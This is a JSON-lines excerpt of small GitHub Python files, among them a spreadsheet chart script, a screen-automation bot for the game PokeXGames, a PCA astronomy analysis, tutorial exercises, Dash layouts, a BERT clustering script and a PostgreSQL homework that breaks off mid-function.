openpyxl\nfrom openpyxl import Workbook\nfrom openpyxl.chart import BarChart, Series, Reference\n\nwb = Workbook(write_only=True)\nws = wb.create_sheet()\npath = \"output.xlsx\"\nwb_obj = openpyxl.load_workbook(path)\n \nsheet_obj = wb_obj.active\nmax_col = sheet_obj.max_column\n \n# Loop will print all columns name\nfor i in range(1, max_col + 1):\n cell_obj = sheet_obj.cell(row = 1, column = i)\n print(cell_obj.value)\n \n# rows = [\n# ('Number', 'Batch 1', 'Batch 2'),\n# (2, 10, 30),\n# (3, 40, 60),\n# (4, 50, 70),\n# (5, 20, 10),\n# (6, 10, 40),\n# (7, 50, 30),\n# ]\n\n\n# for row in rows:\n# ws.append(row)\n\n\n# chart1 = BarChart()\n# chart1.type = \"col\"\n# chart1.style = 10\n# chart1.title = \"Bar Chart\"\n# chart1.y_axis.title = 'Test number'\n# chart1.x_axis.title = 'Sample length (mm)'\n\n# data = Reference(ws, min_col=2, min_row=1, max_row=7, max_col=3)\n# cats = Reference(ws, min_col=1, min_row=2, max_row=7)\n# chart1.add_data(data, titles_from_data=True)\n# chart1.set_categories(cats)\n# chart1.shape = 4\n# ws.add_chart(chart1, \"A10\")\n\n\n\nwb.save(\"bar.xlsx\")","repo_name":"LironKruchinin/calculate-limits","sub_path":"src/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"70376580353","text":"import pyautogui\nimport pydirectinput\nfrom core.commands import Commands\nfrom core.configuration import *\nfrom core.record_path import *\nimport time\nfrom win32gui import GetWindowText, GetForegroundWindow\nimport threading\nimport sys\nimport keyboard\n\ncommands = Commands([36, 52]) # posicao do primeiro pokemon para o revive\n\n# global variables\n_kill_thread = False\n_attacks = 0\n_foreground_app = False\n_coordinates = [0,0,0]\n_pause = False\n\n\n# Thread to check if the foreground app is pokexgames\ndef verify_foreground_application():\n global _foreground_app, _kill_thread, _pause\n while(not _kill_thread):\n if(commands.check_chat_on() == True or _pause == True):\n _foreground_app = False\n else:\n _foreground_app = GetWindowText(GetForegroundWindow()) == 'PokeXGames'\n commands.set_foreground_app(_foreground_app)\n #print(_foreground_app)\n #time.sleep(1)\n\ndef check_coordinates():\n global _coordinates\n while(not _kill_thread):\n loc = commands.find_coordinates()\n _coordinates = loc if loc is not None else _coordinates\n commands.set_coordinates(_coordinates)\n #print(_coordinates)\n time.sleep(0.1)\n\ndef pause_bot(a):\n global _pause\n _pause = not _pause\n print(\"Pause: \", _pause)\n\n\n\n# fighting function\ndef fight():\n global _attacks\n no_target_change_counter = 0\n initial_time = time.time()\n if(USE_FOOD):\n commands.check_hungry()\n while(commands.find_pokemon() or commands.in_fight() or not _foreground_app):\n if(not commands.targeted()):\n commands.target_pokemon()\n while(commands.in_fight()):\n if(commands.no_poke_out()):\n commands.click_first_pokemon()\n #if(not commands.poke_out()):\n # commands.click_random_pokemon()\n #commands.attack_rotation()\n if(commands.targeted() and commands.find_poke_battle()):\n commands.sequential_attack()\n _attacks += 1\n if(_attacks >= ATTACKS_BEFORE_REVIVE and USE_REVIVE):\n commands.revive()\n _attacks = 0\n no_target_change_counter += 1\n if(no_target_change_counter > 5):\n commands.target_pokemon()\n no_target_change_counter = 0\n else:\n commands.target_pokemon()\n commands.catch_pokemon()\n #if(GO_TO_POKECENTER):\n # if(commands.check_poke_fainted()): \n # commands.go_to_pokecenter()\n if(time.time() - initial_time >= TIME_TO_WAIT_IN_BATTLE or not commands.find_poke_battle()): \n break\n if(time.time() - initial_time >= TIME_TO_WAIT_IN_BATTLE or not commands.find_poke_battle()): \n break\n initial_time = time.time()\n while(time.time() - initial_time < TIME_TO_WAIT_FOR_CAPTURE):\n commands.catch_pokemon()\n\n \n\n# main function\ndef main():\n foreground = threading.Thread(target=verify_foreground_application, name=\"ForegroundApp\")\n foreground.start()\n coordinates_thread = threading.Thread(target=check_coordinates, name=\"CoordinatesThread\")\n coordinates_thread.start()\n\n keyboard.on_press_key(\"esc\", pause_bot)\n \n while(not commands.check_in_game()):\n pass\n\n\n if(WHAT_TO_DO == 'dungeon'):\n while(True):\n fight()\n commands.walk()\n commands.sleep(10, fight)\n\n\n if(WHAT_TO_DO == 'fishing'):\n commands.go_fishing(fight,num_times = NUM_FISHING_TIMES)\n if(WHAT_TO_DO == 'record'):\n record_path(commands)\n if(WHAT_TO_DO == 'follow'):\n time.sleep(1)\n commands.load_path()\n #from core.record_path import record_path\n #record_path(commands)\n while(True):\n fight()\n for _ in range(10):\n commands.follow_path()\n #while(True):\n #time.sleep(1)\n #print(searcher.search_coordinates())\n #aaa = time.time()\n #print(commands.find_poke_battle())\n #aaa = searcher.search_poke_battle()\n #if(aaa > 0):\n # print(aaa)\n #print(commands.find_coordinates())\n #print(time.time() - aaa)\n\n\n\n\n\n\nif __name__ == '__main__':\n\n try:\n main()\n\n\n except KeyboardInterrupt:\n _kill_thread = True\n print(\"Stopping bot...\")\n sys.exit(1)\n\n except Exception as e:\n _kill_thread = True\n print(\"Bot crashed: {}.\".format(e))\n sys.exit(1)\n\n\n\n\n\n\n\n'''\nimport core.searcher as searcher\n\npydirectinput.keyDown('shift')\npyautogui.click(button='left')\npydirectinput.keyUp('shift')\ntime.sleep(0.1)\nprint(searcher.search_defeated())'''\n\n'''\nimport core.searcher as searcher\n\nloc = searcher.search_map_pokecenter(8)\npyautogui.moveTo(loc.left, loc.top)\n'''\n#print(commands.check_poke_fainted())\n\n#commands.go_to_pokecenter()\n'''\nloc = pyautogui.locateOnScreen('E:\\\\PxGBot\\\\core\\\\map\\\\heal3.png', confidence=.8)\npyautogui.moveTo(loc.left, loc.top)\npyautogui.click(button='left')'''\n\n#loc = pyautogui.locateOnScreen('E:\\\\PxGBot\\\\core\\\\images\\\\targeted2.png', confidence=.9)\n#print(loc)\n#pyautogui.moveTo(loc.left, loc.top)\n'''\n#\nimport core.searcher as searcher\nloc = searcher.search_skill(1)\nprint(loc)\npyautogui.moveTo(loc.left, loc.top)\n'''\n#lugar = [942, 928]\n#im = pyautogui.screenshot()\n\n#print(im.getpixel((982, 928)))'","repo_name":"FelipeVein/PokeBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30655940943","text":"'''\nEstimate the PCs emission lines input\n'''\nimport astropy.coordinates as coord\nimport astropy.units as u\nfrom astropy.io import ascii\nfrom astropy.table import Table, vstack, hstack\nfrom astropy.coordinates import SkyCoord \nimport numpy as np\nfrom pathlib import Path\nimport os.path\nfrom astropy.table import Column\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom scipy import stats\nfrom astropy.io import fits\nimport argparse\nimport sys\nfrom matplotlib.ticker import FormatStrFormatter\nimport seaborn as sns\n\nparser = argparse.ArgumentParser(\n description=\"\"\"Make a table from the S-PLUS catalogs \"\"\")\n\nparser.add_argument(\"fileName\", type=str,\n default=\"teste-program\",\n help=\"Name of table, taken the prefix \")\n\nparser.add_argument(\"fileName1\", type=str,\n default=\"teste-program\",\n help=\"Name of table, taken the prefix \")\n\ncmd_args = parser.parse_args()\nfile_ = cmd_args.fileName + \".txt\"\n\ncmd_args = parser.parse_args()\nfile_1 = cmd_args.fileName1 + \".txt\"\n\ntable1 = Table.read(file_, format=\"ascii\")\ntable2 = Table.read(file_1, format=\"ascii\")\n\n# Add a column with the label\nn1 = len(table1)\nlabel1 = np.linspace(0, 0, num=n1, dtype = int)\ntable1['Label'] = label1\n\nn2 = len(table2)\nlabel2 = np.linspace(1, 1, num=n2, dtype = int)\ntable2['Label'] = label2\n\n# Merge the tables\ntable_merge = vstack([table1, table2])\n\n# Put data in form expected by scikit-learn (and without col1 and col2)\n\nX = np.array(list(zip(table_merge['col1'],\n table_merge['col2'],\n table_merge['col3'],\n table_merge['col4'],\n table_merge['col5'],\n table_merge['col6'],\n table_merge['col7'],\n table_merge['col8'],\n table_merge['col9'])))\n\nprint(\"Shape of array:\", X.shape)\n\n# Standarized the data\nX_stand = StandardScaler().fit_transform(X)\n\n# Creating the PCA \npca = PCA(n_components=5)\npca.fit(X_stand)\n\nX_pca = pca.transform(X_stand)\n################################################################\nprint(\"*******************************************************************************************\")\nprint(\"Porcentage:\", pca.explained_variance_ratio_)\nprint(\"Porcentege sum:\", sum(pca.explained_variance_ratio_))\nprint(\"Singular Value:\", pca.singular_values_)\nprint(\"Component:\", pca.components_) # eigevectors\nprint(\"Sorted components:\", pca.explained_variance_) # eigenvalues\nprint(\"*******************************************************************************************\")\n###############################################################\n# Porcentages, eige-vectors and values\nporc0 = []\npc_name = ['PC1', 'PC2', 'PC3', 'PC4', 'PC5']\nporc = pca.explained_variance_ratio_ # porcantage ratio\nfor perc in porc:\n porc0.append(perc)\n\nperc1 = Table([pc_name, porc0], names=('PCs', '%'), meta={'name': 'first table'})\n\n###########################################################################################################\neinvector = Table(pca.components_, names=('V1', 'V2', 'V3', 'V4', 'V5', 'V6',\n 'V7', 'V8', 'V9'), meta={'name': 'first table'}) # Eigevectores\n\neinvector[\"PCs\"] = pc_name\n\nnew_order_eigenvetor = ['PCs', 'V1', 'V2', 'V3', 'V4', 'V5', 'V6',\n 'V7', 'V8', 'V9']\n\neinvector = einvector[new_order_eigenvetor]\n\n############################################################################################################\neinvalue1 = []\neinvalue = pca.explained_variance_ # Eigenvalues\nfor einvalue0 in einvalue:\n einvalue1.append(einvalue0)\n\neinvalue2 = Table([pc_name, einvalue1], names=('PCs', 'EigenValues'), meta={'name': 'first table'})\n###########################################################################################################\n\ndata_pc = Table(X_pca, names=('PC1', 'PC2', 'PC3', 'PC4', 'PC5'), meta={'name': 'first table'})\n\ndata_pc[\"Label\"] = table_merge['Label']\n\n# Mask from label\nmask1 = data_pc[\"Label\"] == 0\nmask2 = data_pc[\"Label\"] == 1\n\n##########################\n# SAVE the table results #\n##########################\nasciifile = \"PCs_output_UV_{}.dat\".format(file_1.split('_fi')[0]) \ndata_pc.write(asciifile, format=\"ascii\")\n\n# Precentage\nasciifile1 = \"varience_UV_{}.dat\".format(file_1.split('_fi')[0]) \nperc1.write(asciifile1, format=\"ascii\")\n\n# eigenvalues\nasciifile2 = \"eigenvalues_UV_{}.dat\".format(file_1.split('_fi')[0]) \neinvalue2.write(asciifile2, format=\"ascii\")\n\n# eigenvectors\nasciifile3 = \"eigenvectors_UV_{}.dat\".format(file_1.split('_fi')[0]) \neinvector.write(asciifile3, format=\"ascii\")\n\n#################################\n# Some plots #########\n#################################\nlgd_kws = {'frameon': True, 'fancybox': True, 'shadow': None}\n#sns.set(style=\"dark\")#, context=\"talk\")\n#sns.set_style('ticks') \nfig = plt.figure(figsize=(12, 8))\nax1 = fig.add_subplot(111)\n# ax1.set_xlim(-8.2, 5.7)\n# ax1.set_ylim(-2.5, 1.5)\nax1.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n# ax1.set_xlim(-10, 10)\n# ax1.set_ylim(-3.3, 3.2)\n#ax1.set_xlim(xmin=-2.5,xmax=2.0)\nplt.tick_params(axis='x', labelsize=32) \nplt.tick_params(axis='y', labelsize=32)\nplt.xlabel(r'PC1', fontsize= 35)\nplt.ylabel(r'PC2', fontsize= 35)\nax1.scatter(data_pc[\"PC1\"][mask1], data_pc[\"PC2\"][mask1], color= sns.xkcd_rgb[\"aqua\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='UV')\nax1.scatter(data_pc[\"PC1\"][mask2], data_pc[\"PC2\"][mask2], color= sns.xkcd_rgb[\"pale yellow\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='Shock Allen')\n\nax1.grid()\nax1.legend(scatterpoints=1, ncol=1, fontsize=17.8, loc='upper left', **lgd_kws)\n#ax2.grid(which='minor', lw=0.5)\n#sns.despine(bottom=True)\nplt.tight_layout()\nplt.tight_layout()\n#pltfile = 'Fig1-JPLUS-PC1-PC2-veri.pdf'\npltfile = 'Fig1-PC1-PC2_UV_{}.jpg'.format(file_1.split('_fi')[0])\nsave_path = ' '\nfile_save = os.path.join(pltfile)\nplt.savefig(file_save)\nplt.clf()\n\n####################################################################\n#PC1 vs PC3 ########################################################\n####################################################################\n\nlgd_kws = {'frameon': True, 'fancybox': True, 'shadow': None}\n#sns.set(style=\"dark\")#, context=\"talk\")\n#sns.set_style('ticks') \nfig = plt.figure(figsize=(12, 8))\nax2 = fig.add_subplot(111)\n# ax2.set_xlim(-10.0, 8.0)\n# ax2.set_ylim(-2.0, 1.5)\nax2.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n# ax2.set_xlim(-8.2, 5.7)\n# ax2.set_ylim(-1.1, 1.0)\n#ax1.set_xlim(xmin=-2.5,xmax=2.0)\nplt.tick_params(axis='x', labelsize=32) \nplt.tick_params(axis='y', labelsize=32)\nplt.xlabel(r'PC1', fontsize= 35)\nplt.ylabel(r'PC3', fontsize= 35)\n\nax2.scatter(data_pc[\"PC1\"][mask1], data_pc[\"PC3\"][mask1], color= sns.xkcd_rgb[\"aqua\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='UV')\nax2.scatter(data_pc[\"PC1\"][mask2], data_pc[\"PC3\"][mask2], color= sns.xkcd_rgb[\"pale yellow\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='Shock Allen')\n\nax2.legend(scatterpoints=1, ncol=1, fontsize=17.8, loc='upper left', **lgd_kws)\nax2.grid()\n#ax2.grid(which='minor', lw=0.5)\n#sns.despine(bottom=True)\nplt.tight_layout()\n#pltfile = 'Fig2-JPLUS-PC1-PC3-veri.pdf'\npltfile1 = 'Fig2-PC1-PC3_UV_{}.jpg'.format(file_1.split('_fi')[0])\nfile_save1 = os.path.join(pltfile1)\nplt.savefig(file_save1)\nplt.clf()\n\n####################################################################\n#PC1 vs PC3 ########################################################\n####################################################################\n\nlgd_kws = {'frameon': True, 'fancybox': True, 'shadow': None}\n#sns.set(style=\"dark\")#, context=\"talk\")\n#sns.set_style('ticks') \nfig = plt.figure(figsize=(12, 8))\nax2 = fig.add_subplot(111)\n# ax2.set_xlim(-10.0, 8.0)\n# ax2.set_ylim(-2.0, 1.5)\nax2.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n# ax2.set_xlim(-8.2, 5.7)\n# ax2.set_ylim(-1.1, 1.0)\n#ax1.set_xlim(xmin=-2.5,xmax=2.0)\nplt.tick_params(axis='x', labelsize=32) \nplt.tick_params(axis='y', labelsize=32)\nplt.xlabel(r'PC2', fontsize= 35)\nplt.ylabel(r'PC3', fontsize= 35)\n\nax2.scatter(data_pc[\"PC2\"][mask1], data_pc[\"PC3\"][mask1], color= sns.xkcd_rgb[\"aqua\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='UV')\nax2.scatter(data_pc[\"PC2\"][mask2], data_pc[\"PC3\"][mask2], color= sns.xkcd_rgb[\"pale yellow\"], s=130, marker='o', alpha=0.8, edgecolor='black', zorder=80.0, label='Shock Allen')\n\nax2.legend(scatterpoints=1, ncol=2, fontsize=17.8, loc='upper center', **lgd_kws)\nax2.grid()\n#ax2.grid(which='minor', lw=0.5)\n#sns.despine(bottom=True)\nplt.tight_layout()\n#pltfile = 'Fig2-JPLUS-PC1-PC3-veri.pdf'\npltfile1 = 'Fig3-PC2-PC3_UV_{}.jpg'.format(file_1.split('_fi')[0])\nfile_save1 = os.path.join(pltfile1)\nplt.savefig(file_save1)\nplt.clf()\n","repo_name":"AngelGSoto/Emission-line-maps-pca","sub_path":"Stavros2/PCA_emission_lines-pho-shock.py","file_name":"PCA_emission_lines-pho-shock.py","file_ext":"py","file_size_in_byte":8853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12405724713","text":"# For Loops\nfruits = [\"apple\", \"banana\", \"cherry\"]\nfor x in fruits:\n print(x)\n\n# Looping Through a String\nfor i in \"banana\":\n print(i)\n\n# The break Statement\nfruits = [\"appl\", \"bana\", \"cher\"]\nfor x in fruits:\n print(x)\n if x == \"bana\":\n break\n\n# The Continue Statement\n# Dont print banana\nfruits = [\"apple\", \"banana\", \"cherry\"]\nfor x in fruits:\n if x == \"banana\":\n continue\n print(x)\n\n# The range() Function\nfor i in range(6):\n print(i)\n\n# Increment the sequence \nfor x in range(2, 30, 2):\n print(x)\n\n# Else in For Loop\nfor x in range(10):\n print(x)\nelse:\n print(\"Finally finished\")\n\n# Break the loop\nfor x in range(10):\n if x == 3: break\n print(x)\nelse:\n print(\"Finally\")\n\n# Nested Loops\nadd = [\"red\", \"big\", \"tasty\"]\nfruits = [\"apple\", \"banana\", \"cherry\"]\nfor x in add:\n for y in fruits:\n print(x, y)\n\n","repo_name":"trungdung70199/Python_Tutorial","sub_path":"For_Loops.py","file_name":"For_Loops.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31112146203","text":"'''\nGiven a rotated square, the method is able to match the template, but during template preprocessing, some of the cropped templates are not\nappropriately cropped. Some are cropped as single pixel values without detectable edges that will obviously match to the left corner of the\ncanvas regardless.\nRequires troubleshooting into the template selection process. More tests must be conducted with other images to determine template matching\nmodel's robustness.\nAfter changes to template matching, CoM detection functions must be added.\n'''\n\nimport numpy as np\nimport cv2\nimport imutils\nfrom tempMatching import read_file, return_dim, rotate_template, preprocess, return_contourDims, plt_template, crop_template\n\n# Sets parameters of template matching: rotation increment, padding of template, minimum and maximum scale values.\ndef set_params(rotation_increment=20, padding=0, minScale=0.1, maxScale=2.0):\n return (rotation_increment, padding, minScale, maxScale)\n\n# Generates list of rotated templates given specified rotation increment.\ndef generate_templates(template, params):\n rotated_images = rotate_template(template, params[0])\n temp_list = []\n for img in rotated_images:\n cropped = crop_template(img, padding=params[1])\n processed = preprocess(cropped)\n temp_list.append(processed)\n return temp_list\n\n# Returns value, location, scale ratio and index in temp_list of best match.\ndef detect_template(canvas, temp_list, params):\n found = None\n index = 0\n for template in temp_list:\n (tH, tW) = return_dim(template)\n\n for scale in np.linspace(params[2], params[3], 20)[::-1]:\n cResized = imutils.resize(canvas, width=int(canvas.shape[1]*scale))\n ratio = canvas.shape[1] / float(cResized.shape[1])\n\n if cResized.shape[0]found[0]:\n found = (maxVal, maxLoc, ratio, index)\n print('Index: ', index)\n print('Scale Size: ', scale)\n print('maxLoc: ', found[1])\n print('maxVal: ', found[0], '\\n')\n index+=1\n return found\n\n# found = (maxVal, maxLoc, ratio, index)\n\n# Draws detected template object onto canvas.\ndef draw_match(canvas, temp_list, found):\n maxVal, maxLoc, ratio, index = found\n (tH, tW) = return_dim(temp_list[index])\n (startX, startY) = (int(maxLoc[0]*ratio), int(maxLoc[1]*ratio))\n (endX, endY) = (int((maxLoc[0]+tW)*ratio), int((maxLoc[1]+tH)*ratio))\n cv2.rectangle(canvas, (startX, startY), (endX, endY), (0,0,255), 5)\n cv2.imshow('Detected Template Result', canvas)\n cv2.waitKey(0)\n\n","repo_name":"heechunlee/detection_templateMatching","sub_path":"match_template/python/tempMatching.py","file_name":"tempMatching.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42584966530","text":"import dash_core_components as dcc\nimport dash_html_components as html\n\n\nindexPage = html.Div([\n html.H2(\"Select project to go Dashboard\",\n className=\"index_text\",\n # style={\"textAlign\":\"center\",\n # \"color\":\"green\"}\n ),\n dcc.Link(\"LCP\",href=\"/lcp\",\n style={\"textAlign\": \"center\",\n \"color\": \"blue\",\n \"fontSize\": 30}\n ),\n html.Br(),\n dcc.Link(\"Kepco\", href=\"/kepco\",\n style={\"textAlign\": \"center\",\n \"color\": \"blue\",\n \"fontSize\": 30}\n )\n])\n\nlayout1 = html.Div([\n html.H3('LCP'),\n dcc.Dropdown(\n id='app-1-dropdown',\n options=[\n {'label': 'App 1 - {}'.format(i), 'value': i} for i in [\n 'NYC', 'MTL', 'LA'\n ]\n ]\n ),\n html.Div(id='app-1-display-value'),\n dcc.Link('Go to Main Page', href='/')\n])\n\nlayout2 = html.Div([\n html.H3('Kepco'),\n dcc.Dropdown(\n id='app-2-dropdown',\n options=[\n {'label': 'App 2 - {}'.format(i), 'value': i} for i in [\n 'NYC', 'MTL', 'LA'\n ]\n ]\n ),\n html.Div(id='app-2-display-value'),\n dcc.Link('Go to Main Page', href='/')\n])","repo_name":"ganeshkp/python","sub_path":"Dash/PROJ1/layouts.py","file_name":"layouts.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19167080154","text":"import os\nimport logging\n\n\ndef start_logging(module_path):\n \"\"\"\n Fetch or create a logging file for the app\n :param module_path: path to the module root\n :return: None\n \"\"\"\n try:\n logging.basicConfig(filename=os.path.join(module_path, \"logs\", \"monitoring.log\"), level=logging.DEBUG)\n except FileNotFoundError:\n logs_folder = os.path.join(module_path, \"logs\")\n filename = os.path.join(logs_folder, \"monitoring.log\")\n\n if not os.path.exists(filename):\n os.mkdir(logs_folder)\n with open(filename, \"w\") as f:\n f.write(\"\")\n\n logging.basicConfig(filename=filename, level=logging.DEBUG)\n","repo_name":"Nohossat/youtube_sentiment_analysis","sub_path":"src/nohossat_cas_pratique/logging_app.py","file_name":"logging_app.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17718966991","text":"from IPython import display\nimport preprocessing\nimport json\n\nimport numpy as np\nimport pandas as pd\n\nimport hazm\nimport requests\nimport time\n\nimport torch\nfrom sentence_transformers import models, SentenceTransformer, util\nfrom sklearn.cluster import KMeans\n\nsentence_broken_file = open('../data/sentence_broken/sentences.json', 'w', encoding='utf8')\nbert_sentence = open('../data/bert_gen/bert_sentence.json', 'w', encoding='utf8')\n\n\ndef rtl_print(outputs, font_size=\"15px\", n_to_br=False):\n outputs = outputs if isinstance(outputs, list) else [outputs]\n if n_to_br:\n outputs = [output.replace('\\n', '
') for output in outputs]\n\n outputs = [f'

{output}

'\n for output in outputs]\n display.display(display.HTML(' '.join(outputs)))\n\n\ndef load_st_model(model_name_or_path):\n word_embedding_model = models.Transformer(model_name_or_path)\n pooling_model = models.Pooling(\n word_embedding_model.get_word_embedding_dimension(),\n pooling_mode_mean_tokens=True,\n pooling_mode_cls_token=False,\n pooling_mode_max_tokens=False)\n\n model = SentenceTransformer(modules=[word_embedding_model, pooling_model])\n return model\n\n\n# Corpus with example sentences\ncorpus = sentence_broken_file\n\nnum_clusters = 3\n\n\njson_filename = '../data/sentence_broken/sentences.json'\n\nembedder = load_st_model(json_filename)\ncorpus_embeddings = embedder.encode(corpus, show_progress_bar=True)\n\n\n# Perform kmean clustering\nclustering_model = KMeans(n_clusters=num_clusters)\nclustering_model.fit(corpus_embeddings)\ncluster_assignment = clustering_model.labels_\n\nclustered_sentences = [[] for i in range(num_clusters)]\nfor sentence_id, cluster_id in enumerate(cluster_assignment):\n clustered_sentences[cluster_id].append(corpus[sentence_id])\n\nfor i, sentences in enumerate(clustered_sentences):\n rtl_print(f'Cluster: {i + 1}', '20px')\n rtl_print(sentences)\n rtl_print('- - ' * 50)\n bert_sentence.append({\n 'id': i,\n 'text': sentences\n })\n\n","repo_name":"danibazi9/RelationExtractionInPersian","sub_path":"src/Bert.py","file_name":"Bert.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"45788242830","text":"import pytest\n\nimport numpy as np\nimport shutil\nfrom pathlib import Path\n\nfrom edges_io.io import Resistance\n\n\ndef test_resistance_read_old_header(datadir: Path, tmpdir: Path):\n header, nlines = Resistance.read_old_style_csv_header(\n datadir / \"old_resistance_file.csv\"\n )\n\n assert header[\"Start Time\"] == \"9/14/2017 2:16:45 PM\"\n\n shutil.copyfile(\n datadir / \"old_resistance_file.csv\", tmpdir / \"Ambient_1_2019_150_lab.csv\"\n )\n\n path, _ = Resistance.check_self(tmpdir / \"Ambient_1_2019_150_lab.csv\", fix=True)\n\n assert path.name == \"Ambient_01_2017_257_14_16_45_lab.csv\"\n\n\ndef test_resistance_read_new(datadir: Path):\n fl = (\n datadir\n / \"Receiver01_25C_2019_11_26_040_to_200MHz/Resistance/Ambient_01_2019_329_16_02_35_lab.csv\"\n )\n\n r = Resistance(fl)\n r.read()\n assert len(r.resistance) == 9\n assert len(r.resistance.dtype.names) == 12\n assert len(r.ancillary) == 0\n\n\ndef test_resistance_read_old(datadir: Path):\n fl = datadir / \"old_resistance_file.csv\"\n\n r = Resistance(fl, check=False)\n r.read()\n assert len(r.resistance) == 11\n assert len(r.resistance.dtype.names) == 11\n assert len(r.ancillary) == 0\n assert not np.any(np.isnan(r.resistance[\"load_resistance\"]))\n","repo_name":"edges-collab/edges-io","sub_path":"tests/test_resistance_read.py","file_name":"test_resistance_read.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13846617832","text":"with open('24.txt') as file:\n s = file.read().strip()\n\nitog_s = ''\nfor i in s:\n if '0' <= i <= '9':\n itog_s += i\n else:\n itog_s += '*'\n\nnumbers = [int(i) for i in itog_s.split('*') if i != '']\nprint(max(numbers))","repo_name":"Mikhail-Lebedinskiy/Polykov2","sub_path":"PROBNICS/SHOLCOVO/probnic(7)(2-hours)/first/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39032194688","text":"# 실버3\n# 예산\ndef binary_search(min_num, max_num):\n\n while max_num>=min_num:\n cost = (min_num+max_num)//2\n \n sum_num = 0\n for i in T:\n if i < cost: sum_num += i\n else: sum_num += cost\n\n if sum_num > M: max_num = cost-1\n else: min_num = cost+1\n\n return min_num-1\n \n\nif __name__ == \"__main__\":\n N = int(input())\n T = [int(i) for i in input().split()]\n M = int(input())\n\n min_num = 0\n max_num = max(T)\n\n if sum(T) <= M:\n print(max_num)\n else:\n if min(T)*N <= M: min_num = min(T)\n print(binary_search(min_num, max_num))\n\n\n\n \n\n \n\n\n\"\"\"\n4\n120 110 140 150\n485\n\n4\n100 110 120 130\n380\n\n5\n70 80 30 40 100\n450\n\"\"\"","repo_name":"woghks778803/algorithm-study","sub_path":"backjoon/Sliver/2512.py","file_name":"2512.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34525435938","text":"# домашняя работа «Работа с PostgreSQL из Python» от 15.03.23\nimport tkinter.messagebox\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter.ttk import Combobox\nimport psycopg2\n\nclass Base():\n ''' операции с базой данных'''\n def __init__(self):\n self.conn = None\n\n def set_connection(self):\n self.conn = psycopg2.connect(database='netology_db', user='postgres', password='MyBasePass')\n\n def close_connection(self):\n self.conn.close()\n\n# 1.Функция, создающая структуру БД (таблицы). (часть 1)\n def create_tables(self):\n ''' создание таблиц базы данных'''\n with self.conn.cursor() as cur:\n # сначала удалим эти таблицы\n cur.execute(\"\"\"\n DROP TABLE IF EXISTS phone;\n DROP TABLE IF EXISTS customer; \n \"\"\")\n # создаем пустые таблицы\n cur.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS customer\n (\n PRIMARY KEY (customer_id),\n customer_id SERIAL,\n name_customer VARCHAR(50) NOT NULL,\n surname_customer VARCHAR(50) NOT NULL,\n email VARCHAR(100) NOT NULL \n );\n CREATE TABLE IF NOT EXISTS phone\n (\n PRIMARY KEY (phone_id),\n phone_id SERIAL,\n customer_id INTEGER NOT NULL REFERENCES customer(customer_id) ON DELETE CASCADE,\n phone_number VARCHAR(20) NOT NULL UNIQUE\n ); \n \"\"\")\n # инициируем выполнение запросов в бд\n self.conn.commit()\n\n def initialize_tables(self):\n ''' в таблицы записываем тестовые данные'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n INSERT INTO customer (name_customer, surname_customer, email)\n VALUES\n ('Иван', 'Иванов', 'ivanivanov@mail.ru'),\n ('Петр', 'Петров', 'petrpetrov@mail.ru'), \n ('Сидор', 'Сидоров', 'sidorsidorov@mail.ru'),\n ('Иван Грозный', 'Романов', 'ivantheterrible@mail.ru'),\n ('Петр 1', 'Романов', 'peterthegreat@mail.ru'),\n ('Николай 2 Кровавый', 'Романов', 'nickthebloody@mail.ru')\n -- RETURNING customer_id; \n \"\"\")\n cur.execute(\"\"\"\n INSERT INTO phone (customer_id, phone_number)\n VALUES\n (1, '8-095-123-45-67'),\n (1, '8-095-333-22-22'), \n (1, '8-095-444-11-11'),\n (2, '8-095-123-89-07'), \n (2, '8-095-123-55-30'),\n (6, '8-812-000-00-00') \n -- RETURNING phone_id; \n \"\"\")\n\n #print(cur.fetchall())\n self.conn.commit()\n\n# 2.Функция, позволяющая добавить нового клиента. (часть 1)\n def insert_new_customer(self, aname, asurname, amail):\n ''' запись нового клиента'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n INSERT INTO customer (name_customer, surname_customer, email)\n VALUES (%s, %s, %s);\n \"\"\", (aname, asurname, amail))\n self.conn.commit()\n\n# 6.Функция, позволяющая удалить существующего клиента. (часть 1)\n def delete_customer(self, aid):\n ''' удаление клиента'''\n with self.conn.cursor() 